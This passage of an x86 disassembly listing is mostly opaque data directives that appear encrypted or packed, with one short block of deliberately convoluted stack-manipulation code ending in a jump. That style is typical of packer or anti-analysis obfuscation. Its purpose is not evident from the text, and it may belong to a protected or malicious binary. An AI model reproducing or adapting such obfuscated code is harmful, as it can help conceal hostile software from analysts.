		dd 0BD632E8Ch, 0AB75A66Eh, 9A62C005h, 83D0A5F4h, 64B35925h
		dd 4F204B35h, 0EB915BDBh, 51F7C01Eh, 0C3816D84h, 5410F40Dh
		dd 0FC41E7B1h, 622FD59Eh, 0DD8EA2F1h, 0DB4F2EF1h, 0F33EACC2h
		dd 7562FFFFh, 72BF04AAh, 4F203D43h, 0ED9D8BDBh,	2EDBBCA6h
		dd 97ABFA63h, 8CD19B3Ah, 3760965Dh, 6E358BD1h, 348AFBC8h
		dd 175CC56Bh, 74CF2B9h,	13AA8D8h, 0D12089D5h, 6673AFFCh
		dd 0F3FCB991h, 0C4B0DF2Eh, 0D2D5016Ch, 36946107h, 0D9FAC76Dh
		dd 1D894FF5h, 384AB5AFh, 0DFB65B8Ah, 7,	1B51Dh,	866B0000h
		dd 0EDBA6028h, 83522D7Ch, 8675A4E9h, 0ABD13848h, 0B2E68C55h
		dd 0F9D5738Eh, 1BE85146h, 74CF2BDh, 0B9F58BBAh,	0E63CD501h
		dd 3AAB781Eh, 0BD6E82D1h, 0D501BB6Eh, 0D3ADDC29h, 5ED501B9h
		dd 7C48A6F5h, 0B9B5CBFAh, 0D302D501h, 0D501B9ADh, 0E7501B84h
		dd 0BDEC397Eh, 0D501B9C3h, 0B9BBC5F4h, 0D76D501h, 768AD942h
		dd 5724CA96h, 563CFE76h, 892FFBEEh, 64D59D7Dh, 1D75D8CAh
		dd 7FC42DA3h, 0FAC75A21h, 0AD168754h, 1A206FE0h, 0CECC723Ah
		dd 83784C9h, 0D5021D78h, 2DFA50B9h, 98CC3887h, 0AFF79D65h
		dd 36D56DEDh, 0E702B096h, 40000000h, 0D4A1DEF8h, 8605C52Eh
		dd 4F211C57h, 0CDFCC9DBh, 0DB4F20B3h, 20ABD504h, 1D86DB4Fh
		dd 8A30FC52h, 7AE34CBDh, 67BE86BAh, 0F0BB19E7h,	7533FB4Ah
		dd 0AFDE2BADh, 0DB4F20D1h, 0B0D0F760h, 81DB4F20h, 2E6AAF18h
		dd 7EF83627h, 955DACD0h, 0DFF836FEh, 75BFD191h,	1636C56Dh
		dd 39F2B3h, 0F8300000h,	86D191DFh, 20760A39h, 52BBDB4Fh
		dd 0F987B603h, 38DB4F20h, 1F492404h, 0A8739EEAh, 70309902h
		dd 29F94A86h, 76D9746Ah, 7512DA27h, 844404AAh, 26B5BCh
		dd 0F86B0000h, 104C91DFh, 0F7E06863h, 89C3F79Ch, 5B83FA02h
		dd 869058A7h, 4F212957h, 1BDBCCDBh, 0AA75BE86h,	0BC844404h
		dd 0BDEC3986h, 0DB4F20C3h, 0A2DE056Eh, 4DB4F20h, 60C9943Ah
		dd 0FF1FF311h, 0C624FFFFh, 354B7AFCh, 0FCDB4F20h, 0EC5D2A93h
		dd 0AD75D59Dh, 2084FC2Bh, 44ADDB4Fh, 0E8B00EDBh, 0D79FFD42h
		dd 71CEE231h, 94C30864h, 0D1383D37h, 97E4B11Ah,	0FECB7139h
		dd 4FE82B1h, 0CA33D502h, 91E31261h, 5D50204h, 69C7943Ah
		dd 1229F69Ch, 4CB83E26h, 7932C1FDh, 3641CB11h, 0C5BC46Ah
		dd 2939A4A0h, 0CEB65B58h, 4Bh, 8FDDF80Ch, 20681B4Ah, 125FD138h
		dd 2209DE3h, 95EB1AD5h,	9CD50220h, 0B0FF6833h, 78A774DDh
		dd 0D50220FCh, 0FD73584h, 0DC2B9C69h, 7909F470h, 9EB65B42h
		dd 0C9h, 0A5DB0A57h, 8CD5022Ch,	0D1AFDE23h, 60D5022Ch
		dd 75E0A8F7h, 0DC3A07ADh, 42A06D13h, 0A907D47Ah, 602F3BE1h
		dd 3C923802h, 5180CF75h, 0DB4F25F7h, 4551F7BFh,	2AF79D65h
		dd 2CF9864Fh, 9CD81D86h, 8D8ED1F1h, 0ED1C618Dh,	0DB4E2693h
		dd 99E6359Eh, 3759356Ah, 0E53BCD1h, 7FD085C1h, 3D42F14Fh
		dd 0DB6A16h, 0CC723CD5h, 35499801h, 2A6FFDD8h, 0F193FDFBh
		dd 76BB24CAh, 64A94F18h, 45943A06h, 0E2885131h,	797058CAh
		dd 112F0498h, 224h, 333FE5ABh, 0D6E28853h, 7A862CF6h, 1B27CD9Ah
		dd 0C0CC723Bh, 9C652ABEh, 430AEAF6h, 0E5B1919Dh, 8B53333Fh
		dd 7542D9E5h, 0FBDC3A46h, 0ACECF7D4h, 0FA06AC75h, 0A0AC521Ah
		dd 8FDDF856h, 20681B4Ah, 70D9D138h, 210074A3h, 0CF96D502h
		dd 20621E4Dh, 66CFD502h, 8D230FDh, 47AD9562h, 0FD6BD71Dh
		dd 8A57B547h, 172F95E4h, 0C4B65B42h, 0B1h, 7AD7502h, 0C78FED3Ah
		dd 94E35421h, 0FAC76D36h, 72471ADh, 0FAA054FBh,	3ECC7CABh
		dd 22EADB4Eh, 0C890707Ch, 0AA085522h, 0FC6D3AE0h, 6903D2ADh
		dd 66AAF524h, 0DE47D137h, 0C6075D2h, 0B87F98C7h, 9BE8CAF1h
		dd 0B14F146Ch, 65B41DCEh, 97E42992h, 7CCB7139h,	0A3AF551Eh
		dd 3C54FAC3h, 98795FC0h, 4D79976Ch, 82000001h, 2A0A16BCh
		dd 0CDADB95Fh, 71515D03h, 12F2FEA4h, 9597A349h,	0CF753E13h
		dd 761CE3C3h, 18BE8A6Ah, 0BE642C0Ch, 1F4E1BB2h,	0D4FBDB61h
		dd 7585C5D0h, 1AFA06ACh, 2B67AC52h, 6998AE76h, 0DB4E3F17h
		dd 547DB11Ah, 93A7F692h, 7AD7549h, 0C58FED3Ah, 0AA72D01Fh
		dd 3A9BF804h, 6FD87E45h, 0EF6EEE2Ah, 0AB4483B5h, 0DBE00F5Ch
		dd 56D137BDh, 0DAA33600h, 1D62CB34h, 4551F7BFh,	723E3A76h
		dd 2B8C2325h, 10B67EDCh, 0FAA06DCBh, 26FA86B5h,	0CE37D501h
		dd 6CFAA7Fh, 98D42166h,	0F1BF208h, 7DACFBD6h, 0CAD47B4Bh
		dd 0AC521E7Ch, 27483867h, 80E9CEAEh, 0DDF55E31h, 984474A9h
		dd 8D102E03h, 42000000h, 0EACAD67Ch, 8D6D791Fh,	31111DC3h
		dd 0D2B2BE64h, 55576309h, 8F35FE53h, 36DCA383h,	0D87E4A2Ah
		dd 7E24ECCCh, 0DF0EDB72h, 0D4FBDBA1h, 0F8458590h, 1B4A8FDDh
		dd 0D1224D05h, 69B683ECh, 49983E0Bh, 387D23EBh,	9D6A10DAh
		dd 8A94D561h, 871BA9Dh,	0FDC5A5B9h, 325B8A57h, 7C13CBB2h
		dd 0EBB3560Eh, 5556EE7Ah, 6ED79077h, 14BA8262h,	9A1CE947h
		dd 0CC21156Bh, 4AB31C93h, 0CC785C7Dh, 9FAB5119h, 8451F7BFh
		dd 366h, 8C541C00h, 3C09AF75h, 0A37016DEh, 6D37945h, 6E3BE1A8h
		dd 0D4A14710h, 3A07AD76h, 9C690FDCh, 1CE743Eh, 6532D8A3h
		dd 0E38953E8h, 4C381h, 0BA520000h, 4, 875AD329h, 565C241Ch
		dd 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h,	0E0895024h
		dd 405h, 4E88300h, 5C240487h, 81243C89h, 4ECh, 243C8900h
		dd 532BEBBFh, 5FFA8906h, 4EC81h, 24890000h, 24048124h
		dd 4, 481525Fh,	0FF32F924h, 8478F09h, 455CB850h, 0D0F75FDBh
		dd 7C7CB42Dh, 68C355Eh,	0E8D10555h, 80954805h, 84729E7h
		dd 2434FF58h, 4C4815Fh,	8B000000h, 89522414h, 4C281E2h
		dd 83000000h, 148704C2h, 9AE95C24h, 45FFFA38h, 0B84A16B8h
		dd 653467Fh, 0C650C503h, 4D26E585h, 25684706h, 0FFCF3817h
		dd 4D1431B5h, 6858D06h,	0FF064D39h, 8DD88BD0h, 4D00C985h
		dd 4685006h, 0FF000001h, 0E585C6D3h, 53064D26h,	7F8BF68h
		dd 31B5FF83h, 8D064D14h, 4D390685h, 89D0FF06h, 5329CC85h
		dd 0A5BD8306h, 64D21h, 0B840Fh,	9D8B0000h, 64D0A4Dh, 5E9h
		dd 0BB00h, 680000h, 8D000001h, 5329D0B5h, 0FF535606h, 4D2FB995h
		dd 0D0B58D06h, 3065329h, 1E9F0h, 804E0000h, 840F5C3Eh
		dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 29D0858Dh,	0FF500653h
		dd 5329CC95h, 0E0FF5806h, 1B208236h, 5102FFE4h,	0C789DF8h
		dd 3896D7F6h, 5666A8F3h, 101F90A2h, 59927AA5h, 5A1E4ECh
		dd 7BE39FE2h, 4E89E07Fh, 42F2B3E5h, 1EC9874Fh, 1B9026EBh
		dd 0AFEC33B6h, 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h
		dd 0A3D25D34h, 310DA9Ah, 2 dup(0)
		dd 761E9h, 499C6800h, 7AE90653h, 68FFFA37h, 6534A59h, 0FA3770E9h
		dd 4B0D68FFh, 66E90653h, 68FFFA37h, 6534C3Ah, 0FA375CE9h
		dd 4CEC68FFh, 52E90653h, 68FFFA37h, 6534DDDh, 0FA3748E9h
		dd 842AF0FFh, 27CD9878h, 0CB713B1Bh, 6C12DFBFh,	11B78060h
		dd 0ACED0305h, 51313DE3h, 0F8D8E48Ah, 9A7A862Ch, 89202CD2h
		dd 0D8F38DBCh, 333ED4FBh, 35B5F3h, 866B0000h, 200F324Ah
		dd 4E898FF1h, 539A2DBh,	4F9EF26Ch, 0B68329F1h, 0DEEA9058h
		dd 4E8C472Dh, 360260DBh, 17E34190h, 38966571h, 0BC770071h
		dd 0A0078AECh, 0F820E837h, 0EC4A8FDDh, 3FB07D23h, 4F04D40Bh
		dd 0AFFEBA30h, 99C81562h, 0DB4E4CE7h, 6392E14Ah, 0D137803Ch
		dd 0BA074CB5h, 11AF58Bh, 84D33CD5h, 380462AFh, 554C592h
		dd 11A9ED6h, 0F074E2D5h, 58447D05h, 0E979B5B6h,	85A636DFh
		dd 6191F948h, 0CF000002h, 0B65C2886h, 482978E9h, 0BEAE2714h
		dd 0AE541B79h, 0D42170E1h, 3847BAA5h, 86CE37D1h, 4905033Fh
		dd 9E426C7Eh, 5A43204Fh, 1FB690D1h, 0C6D9084Dh,	0B106BC3Dh
		dd 14E18753h, 188154A3h, 0D4A0FE4Bh, 0A1F0612Eh, 185D0FC6h
		dd 734DE4E9h, 0BF046D00h, 39069961h, 3E1E2A93h,	0FCB8D076h
		dd 8043FD16h, 5388DABh,	4B110000h, 0EEB999A5h, 925C3C48h
		dd 3300E0ECh, 0D8A1818Dh, 8C242632h, 505C02CBh,	0F703A970h
		dd 99A54B17h, 3F4BF1B9h, 0D4ACDBA8h, 5DD4FBD7h,	0AD751252h
		dd 765F3A07h, 5275B1F6h, 79F93155h, 1F32DD11h, 0ECBB2251h
		dd 9221509Dh, 15D13778h, 7A47EDB7h, 0DCA94F1Ch,	0E3AC026Bh
		dd 0B0FF703Dh, 996874DDh, 0D698A95Dh, 3E8D9FA1h, 993C295Dh
		dd 5F8ED3h, 0F1CAE959h,	82174088h, 57974DC5h, 7AA9EE7Eh
		dd 2BFE8525h, 0BB9663CCh, 9709871Ah, 36E4147Ah,	745988CDh
		dd 0DD25B4D3h, 3B63CA9h, 5AC34187h, 49EFB715h, 44106E3Dh
		dd 1160D19Eh, 2D45EBB3h, 253CC441h, 7BF816EBh, 0CE000004h
		dd 76566208h, 19F905ABh, 0BD9DA94Fh, 5E3E4AF0h,	0E1E3EF95h
		dd 1BC18ACFh, 0C2682F0Fh, 640AD6B6h, 0AB07858h,	6B9A67FEh
		dd 0D4FBD715h, 75D1111Ch, 5F3A07ADh, 75B1F676h,	6A18044Bh
		dd 2471C0F2h, 377ACAF5h, 471167D1h, 4AEA96C5h, 0DE47D501h
		dd 2C5BA875h, 0D5014A54h, 0A20B74DDh, 0B436FF5Dh, 14AFB85h
		dd 64CD36D5h, 0D4320115h, 28588709h, 9D5014Bh, 0F96A37A0h
		dd 4AFB85B4h, 0CD36D501h, 3A32A37Eh, 9452C6F5h,	268FCAD4h
		dd 15BB83E1h, 0BB612909h, 7B43A1EEh, 489708D5h,	0BF04686Dh
		dd 972A0790h, 5971DAC4h, 860AEDA7h, 0C71A380Dh,	82000003h
		dd 2A0A16BCh, 0CDADB95Fh, 71515D03h, 12F2FEA4h,	9597A349h
		dd 0CF753E13h, 761CE3C3h, 18BE8A6Ah, 0BE642C0Ch, 1F4E1BB2h
		dd 0D4FBD561h, 8685C5D0h, 20760A39h, 52BBDB4Fh,	4ADDA503h
		dd 8026EE81h, 0CD942B3h, 0D87E459Bh, 64319A0Bh,	0B32DB17h
		dd 4EC0FC4Dh, 0BBB124FFh, 3F244776h, 0A8EDD137h, 1280779h
		dd 0DD42AD5h, 0C0299A67h, 0E7B41257h, 4B167441h, 1AE63CA5h
		dd 0E736A774h, 1AD33D3h, 6640000h, 8048973Dh, 0D5AABF2h
		dd 4F20A2DEh, 0D7268FDBh, 0DCA6D9FCh, 5988CD36h, 0D1384806h
		dd 0A0461371h, 401362D3h, 2AD09DFBh, 1FA7D03h, 0F54BB4D5h
		dd 47B8852Bh, 0C76D96DEh, 52BFBAF3h, 0A235FC83h, 0FFCC35DBh
		dd 82E0258Eh, 0B65C27BAh, 0E244804Dh, 64325DC9h, 1764B31Ch
		dd 0AE0B33E8h, 1DE644D5h, 0F2F64377h, 1D0D0D69h, 0B6C7FBCEh
		dd 0B899A961h, 0E5B2891h, 0EF3EE4B0h, 66ABC114h, 649E9637h
		dd 0C5F441CFh, 0D326B2BBh, 0EBBE0D76h, 17DF3D82h, 0E0129FA6h
		dd 71DA4774h, 17BD8565h, 0CCC807FFh, 0B6D4A99Ch, 29Ah
		dd 3743E9AFh, 0DAE68C57h, 7E8A30FAh, 1F2BD19Eh,	0C4D0763Fh
		dd 0A0692EC2h, 470EEEFAh, 0E9B595A1h, 8F573743h, 7946DDE9h
		dd 0FBD4364Ah, 0B0F0FBD4h, 0EDE94A86h, 8B4B9F5Ah, 7016DE3Ch
		dd 5F0DC8A3h, 10C8EB1Ah, 0F059D138h, 5C3981E4h,	7FAEF379h
		dd 0CAEADDE0h, 563A811h, 874DC839h, 0EA6A20D2h,	9BE23281h
		dd 2CF753Dh, 6532D8A4h,	0D3C8BF4h, 9D12EB50h, 5B01C927h
		dd 0F3CE1D8Eh, 16458AE2h, 35BC2605h, 0DBB683ECh, 17BD85FAh
		dd 933A69AEh, 0BE2F7384h, 0EAB21055h, 2D693844h, 0B30CC757h
		dd 0CE2C7B82h, 44486006h, 0E83CFDADh, 1E8F513h,	9B610000h
		dd 3E09E9F5h, 0E2AC8C98h, 8350303Ch, 28F1D1DDh,	7C747682h
		dd 0A0AC521Bh, 4753F9C0h, 0E9F59B67h, 8F9B4109h, 84FC2BF8h
		dd 0ADD4FBD4h, 0AD7562A2h, 765F3A07h, 2864B1F6h, 90AF2374h
		dd 204F9EB9h, 0D137639Fh, 9AC5E92h, 81AAADD3h, 0F8C20C18h
		dd 1B4A8FDDh, 0D1226A03h, 44085EEh, 7DFFAF84h, 1562B1E9h
		dd 0F89E6AC8h, 0DD834BA9h, 0B829F1D1h, 9F86CFB9h, 0F7266BB9h
		dd 0D4FB3189h, 91D63FA8h, 72C16733h, 5913C29Dh,	48EEB614h
		dd 6EBB0A7Bh, 0CE79513Fh, 529700CAh, 41862CF4h,	196A2A05h
		dd 186EF87Ch, 465AA94Fh, 0ED1C9E66h, 0CEA76893h, 0E1F08235h
		dd 10DB6273h, 0DF8551A7h, 0F338A112h, 5926CC95h, 77C499E8h
		dd 0DC85FB2Ah, 43ACCEA7h, 0B0BC19F4h, 4B3C6Bh, 0C2F6C491h
		dd 0B2FECE85h, 0DBF35C34h, 8610D247h, 0F77E9C71h, 52000000h
		dd 0FADAE68Ch, 9D7D892Fh, 41212DD3h, 0E2C2CE74h, 65677319h
		dd 9F450E43h, 46ECB393h, 0E88E5A3Ah, 8E34FCDCh,	0EF1EEB82h
		dd 0D4FBD391h, 865595A0h, 20760A39h, 52BBDB4Fh,	0BF8C32FCh
		dd 0B124FF4Eh, 953A76BBh, 0DE8DEE80h, 0D60552A1h, 0D121B850h
		dd 17B7FB37h, 3BF7F388h, 0E3B019ECh, 0C66C3896h, 0AB511977h
		dd 9B410866h, 9058384Ch, 0B15C8E1Fh, 95FEA4ECh,	0B4B899C8h
		dd 0A7F6CFE0h, 330E7F49h, 841D2CD0h, 975C42Dh, 4DE0A85Bh
		dd 6975DE84h, 2733C9Ah,	828DCD96h, 1463CCD4h, 7B48EEB6h
		dd 0F1BD501Dh, 0A40D7E4Bh, 6DC5235Fh, 7565B97Eh, 0E3B0561Fh
		dd 2D4E2372h, 0BDF91B49h, 0FADE8881h, 47A5F403h, 90190E7Fh
		dd 3EB41F2Ah, 8F00CD73h, 6006D026h, 0CF1CEBF7h,	0DD04AA71h
		dd 0CFB84EA3h, 114F5A8Eh, 5612B8F0h, 78409EEDh,	3E705D2h
		dd 9D000000h, 0AF758C54h, 16DE3C09h, 7945A370h,	0E1A806D3h
		dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h,	0D8A301CEh
		dd 52E86532h, 0C281E289h, 4, 4BB53h, 0DA290000h, 2414875Bh
		dd 0E389535Ch, 4C381h, 0EB830000h, 241C8704h, 242C895Ch
		dd 110F68h, 24048900h, 4F956857h, 815F249Eh, 99635AE7h
		dd 95BA5212h, 29FA44FAh, 0FD895AD7h, 41C9685Fh,	24890000h
		dd 24048124h, 4, 8B95158h, 1000000h, 8B2989C1h,	0C481240Ch
		dd 4, 5624048Bh, 0C681E689h, 4,	4C681h,	34870000h, 2C8B5C24h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA302CE9h
		dd 2C8927FFh, 0F943C7CCh, 0F9B8899Bh, 306534Eh,	0E9E0FFC5h
		dd 852BD563h, 14672CD1h, 0F66009BCh, 0F7268A03h, 0EB7AD8ACh
		dd 1E048855h, 3869A904h, 0E828D1EBh, 13h, 0EAF50205h, 0DC89777Bh
		dd 0A0B30308h, 0B9D8B27Dh, 668381F9h, 585EE1BEh, 0D04CF1B9h
		dd 82C0815Bh, 0F5000072h, 0BAh,	101C8B00h, 0FCC381F9h
		dd 515AAF6Ch, 0B0C38159h, 0F4BF41Dh, 983h, 38C0F00h, 0F000000h
		dd 0EB81F1B7h, 66934B02h, 6860F60h, 0F000000h, 86h, 0D88B6600h
		dd 48F5361h, 8F0F5610h,	1
		dd 12E85FF8h, 0D1000000h, 0D49B9EAEh, 1D6DE361h, 0EA924018h
		dd 28516132h, 2890F6Ah,	50000000h, 0EA835E5Fh, 814A4A02h
		dd 24EE48E7h, 48FA8108h, 0FFFFF8Eh, 1385h, 0F78B6600h
		dd 21E9h, 0C345F100h, 74AF2D24h, 0CA4EFE3Eh, 0FFFF6CE9h
		dd 35BB89FFh, 0EA9E6FFFh, 189DC2D6h, 6CE064C0h,	4EB9FBDh
		dd 279ABA64h, 526E9h, 0B0561C00h, 53F9C4A4h, 0F79D6747h
		dd 983E0BEBh, 3DE3AC8Ch, 0D8B92F31h, 7D5D690Fh,	240410B6h
		dd 0C6A6B258h, 0B54C58FEh, 0D0C7B9E8h, 5F6AD4FBh, 1AAD751Fh
		dd 7EDCA94Fh, 0CE3F0CB2h, 0D12FFC65h, 0F1AD9708h, 4C13A2B6h
		dd 75409EE3h, 429102CFh, 0E0864E2Eh, 47EDB513h,	0B1E02D7Ah
		dd 0DB4EACCFh, 9A670DD7h, 0A6F55E29h, 0AD77D48h, 0CB3E2694h
		dd 71515D03h, 13F3FFA5h, 87D4A147h, 0AC750B3Ah,	53BCDB4Eh
		dd 39DFA604h, 0FD674B6Ch, 8C983E0Ah, 713EE4ACh,	4EAC3142h
		dd 97CDB3DBh, 1636DA6Ch, 7D01B0h, 753F0000h, 0B3A07ADh
		dd 0DB4F2077h, 0F2BF652Fh, 5522C894h, 0DE145034h, 0A274F0D6h
		dd 21E97C44h, 0D43DAE7Bh, 42071F85h, 71CFB016h,	0A34914A7h
		dd 0ADFC6D3Ah, 145h, 0AA758300h, 0ED93704h, 703D9B68h
		dd 0D59FFDCAh, 3C04622Fh, 0CF754096h, 47FDE102h, 8FB52391h
		dd 0B220915Ch, 247BCDADh, 8F5E6AD3h, 7319E442h,	4EB4344Ch
		dd 4594FDDBh, 6D791FE7h, 5E22519Eh, 0D3DB4EB4h,	75531B6Ah
		dd 85C106ACh, 70BF20C0h, 2A599E61h, 0DB4EF156h,	4E2372DBh
		dd 0B27F25F0h, 0F5E85CC2h, 541862Ch, 0DC76D309h, 1D63924Eh
		dd 14DB4EE7h, 0DFF342ABh, 0EC94C310h, 45DB4EE6h, 186897DCh
		dd 19DB4EE7h, 3B0361B0h, 6E3BE1A8h, 69C794FDh, 581D2E9Fh
		dd 0D25A2655h, 6ED7DB4Eh, 70D90F3Ah, 6A9407CFh,	0EE57C0C1h
		dd 53FAD21h, 5C93B7F3h,	27A527ECh, 43C072D8h, 97F7B016h
		dd 35000000h, 0E3164A86h, 6A0EA00Dh, 54A34914h,	0BA872DF6h
		dd 35FF925Ch, 0C932D8A2h, 55228BFCh, 10F371DFh,	0B595A147h
		dd 1B7946ECh, 0E39DCC4Eh, 0E5DB4E88h, 3D420E1Dh, 0BD26F1E5h
		dd 0A5138754h, 0E93244BFh, 97E4B016h, 0F9C66C39h, 821F6188h
		dd 0A912DB4Eh, 57F25Ah,	86300000h, 20760A39h, 52BBDB4Fh
		dd 36DCA503h, 7D46A4F1h, 72990AD7h, 0DB4F210Eh,	5E2BD198h
		dd 6AB922EDh, 770C4895h, 264EECECh, 186897DCh, 19DB4EC1h
		dd 370361B0h, 0C1ADC491h, 0F1976083h, 0AA759BE5h, 6B083704h
		dd 79DB4F20h, 1C26D193h, 0BBB01642h, 1,	5AB75F9h, 0F09662C0h
		dd 217FCCA1h, 0DCA4D355h, 55DB4F20h, 45B683ECh,	20AFD100h
		dd 1982DB4Fh, 0FEA46CCAh, 0ED4B1031h, 3DAE7B21h, 1FC282EEh
		dd 55FBC255h, 826BA7ECh, 37DACD3h, 2EDB4E4Ch, 0B1FF91C5h
		dd 8FEC004Fh, 0B2E12646h, 0D13766C5h, 0C826F35Ch, 7F4E5A00h
		dd 65B45A21h, 0CC993F07h, 11EE59Dh, 281C08D5h, 3B47EDB5h
		dd 0A022935Bh, 0A38BF8Fh, 0FE82B1F6h, 33D500A2h, 369461CAh
		dd 0BFBC86Eh, 844CBFA5h, 58EAD2DEh, 9AB6583Ch, 0DAC3A95Eh
		dd 0EB3ADCD0h, 13583h, 0DDF8C100h, 0CEFD4A8Fh, 0DB4F20B2h
		dd 7AC7167Fh, 3841404Bh, 0DBA811D1h, 30FB57Dh, 0FFC85B23h
		dd 0C523F059h, 2C8A57FDh, 90EEBB61h, 6A521FC5h,	0A28A4004h
		dd 22FD1F5Bh, 0EEEAFC26h, 0CE31339Fh, 85546006h, 45F93E49h
		dd 7ECD671Dh, 5B0B0E18h, 43ADB6h, 0F8EB0000h, 16458AE2h
		dd 0DB4F223Ah, 2D69AE17h, 0EF069C39h, 17EC3BC9h, 0FDA36CCAh
		dd 6107D230h, 67AA9F8h,	16DB4E3Dh, 2662B4B0h, 974F8710h
		dd 492473D6h, 6998DD91h, 0DB4E52E7h, 55F5016Ah,	9Eh, 8FDDF80Bh
		dd 4FEC1B4Ah, 7DDBD138h, 0CD3E0BB1h, 0BD77AB7Eh, 0FFFA8642h
		dd 0B1FECB34h, 97E68C53h, 20007139h, 0EC070389h, 3795DA43h
		dd 8C93C76Dh, 3A67973Eh, 916074C3h, 49E53A55h, 0F8C3E05Eh
		dd 0AB148552h, 9036FE5Ch, 73E194C3h, 10FCD501h,	43E9B154h
		dd 0DDF9C2FEh, 0DA2C506Ah, 0BB1A778Bh, 593D6CB1h, 88CAD4EFh
		dd 2CF4521Fh, 0B498B986h, 7A05D0B0h, 0CA3B08AEh, 0A9ED1C61h
		dd 0BEC4819Eh, 0FC3E4271h, 8AF3C85Ah, 0BAFF683Bh, 0A4FCBB7Eh
		dd 0E00F1463h, 0C85A86A0h, 70BF2891h, 2886125Ch, 8C67B65Ch
		dd 95F85849h, 48C5028Bh, 2B6B9ADFh, 0B6D12187h,	5A22804Dh
		dd 0E5D7A9D8h, 0F15AD4FAh, 0D49C7C88h, 0A832612Eh, 963460D2h
		dd 1C93C28h, 0EFB8165Bh, 6E6FA49h, 6DCB983Eh, 0C2DFAA0h
		dd 7CDA3C28h, 5EBC0BB1h, 4E4F096h, 0F351963Ch, 43B48127h
		dd 3011FF4h, 0B7000000h, 0AF758C54h, 16DE3C09h,	7945A370h
		dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h
		dd 0D8A301CEh, 56E86532h, 0C681E689h, 4, 8704EE83h, 895C2434h
		dd 1E68242Ch, 8900005Ah
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 6DA32B3Ah
		mov	edx, 6BF07B9Dh
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	7C0Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		push	ecx
		mov	ecx, 355C096Ch
		sub	[esp+4], ecx
		pop	ecx
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 355C096Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dw 0B8DDh
		dd 6535549h, 0E0FFC503h, 53DD5365h, 31E367Eh, 0CBDA655h
		dd 70C36971h, 64186488h, 6D408051h, 36B07DF1h, 606523Eh
		dd 1B74E2D1h, 39F59599h, 4AE3A8CCh, 2D409F82h, 11237B04h
		dd 194BFA3Fh, 7A5B28BEh, 589ED566h, 1D55CA61h, 23DD01BDh
		dd 0A2D7222h, 30A5AFF0h, 4F4E5A53h, 7A04683Ah, 5E522A8Dh
		dd 38CB9A5Ah, 3B604D4Ah, 5F069F48h, 8EBh, 0E28A0000h, 0C0E93B94h
		dd 68000004h, 653574Eh,	0FA296CE9h, 57F268FFh, 62E90653h
		dd 68FFFA29h, 653595Ah,	0FA2958E9h, 741AE0FFh, 17BD8868h
		dd 0BB612B0Bh, 5C02CFAFh, 1A77050h, 9CFDF3F5h, 41212DD3h
		dd 0E8C8D47Ah, 8A6A761Ch, 79101CC2h, 0CB037DACh, 232ED4FBh
		dd 9137005Eh, 0AC757A42h, 13DB3906h, 0D104616Dh, 0AB09569Bh
		dd 6B153CE2h, 0C6DB4F20h, 9A03A970h, 3CCFFE4Bh,	15D1382Dh
		dd 0C4B0DFACh, 0BCD50214h, 5BEB164Eh, 9BB65B4Eh, 81E0DE5Fh
		dd 3C8B6C63h, 333D4h, 0C5F21200h, 973D0664h, 2F0A59CAh
		dd 5281C6A6h, 0D138470Dh, 0D8367BE4h, 4411670Dh, 1160D19Eh
		dd 615398C1h, 0E644D884h, 3BAC791Fh, 0A8C411ECh, 0A8EF3463h
		dd 0A912CD85h, 983E0664h, 360B5ACBh, 0ADF27A5Bh, 8985571h
		dd 0CA65993Fh, 0A8F544A8h, 39550579h, 7EC32CC7h, 6DB25820h
		dd 4D9C420Fh, 0EB915939h, 0A88923D3h, 9AB88D84h, 32Ah
		dd 4B57FDC3h, 0EEFAA06Bh, 929E440Eh, 333FE5B2h,	0D8E48A53h
		dd 0B47DD2D6h, 5B22020Eh, 0FDC9A9B5h, 0A36B4B57h, 8D5AF1FDh
		dd 0FBCA225Eh, 0C4040FD4h, 1B464A86h, 8629A83Dh, 4E9A2957h
		dd 369F08DBh, 237218E0h, 27F28D48h, 86D31881h, 4E9A2957h
		dd 509F08DBh, 8D58B603h, 99A4DC0Bh, 248DDB4Eh, 394776BBh
		dd 0F8DB4E99h, 2311408Fh, 0FED121F1h, 0C7035095h, 0FCD97766h
		dd 419FEE1Ah, 0E6C6D278h, 7BAA771Dh, 0D4FB95FAh, 2352D49Ch
		dd 0D4FB955Dh, 49156BD4h, 0FC65D6A3h, 0B73C38E4h, 0A1BF9492h
		dd 286h, 0EFFBA167h, 929E440Fh,	3642E8B2h, 0D7E38956h
		dd 7C882EF7h, 5821767Ah, 0FFC6A6B2h, 0A16D4D59h, 470FEFFBh
		dd 31FE95A1h, 0FBC97E02h, 68A8B3D4h, 0D7A2DDF8h, 5483C831h
		dd 0D12278E0h, 0DC0BD841h, 0D4FBCA98h, 0C28F35FEh, 29F69C64h
		dd 77238EDh, 56C47286h,	0A767CE8h, 152DA89Ch, 0C2B64520h
		dd 1BCh, 3CAD7500h, 1B6FDD14h, 0CF7542BFh, 0D230FD66h
		dd 8958640Ah, 0CCF4574Dh, 0E82D40DDh, 4EB9C7B9h, 0B2016ADBh
		dd 296EFED7h, 37D5D1FAh, 0E1A806D1h, 0B019EC3Bh, 9DC0B4E3h
		dd 0ED6D501h, 703D9B68h, 0C2C1FDCAh, 0F0BBA1E5h, 77ED5333h
		dd 0BA23C994h, 7964E04Eh, 0B65B83E9h, 59FFCB29h, 3FD4508Ch
		dd 0B4C7564Fh, 4094FC4Bh, 0D2000000h, 0BA602886h, 84F49B86h
		dd 27760BB8h, 9EE3894Ch, 379E146Fh, 3766B3D1h, 0D5019D49h
		dd 5D307FE8h, 2E973D07h, 9D423261h, 0D03ED501h,	0C1D96994h
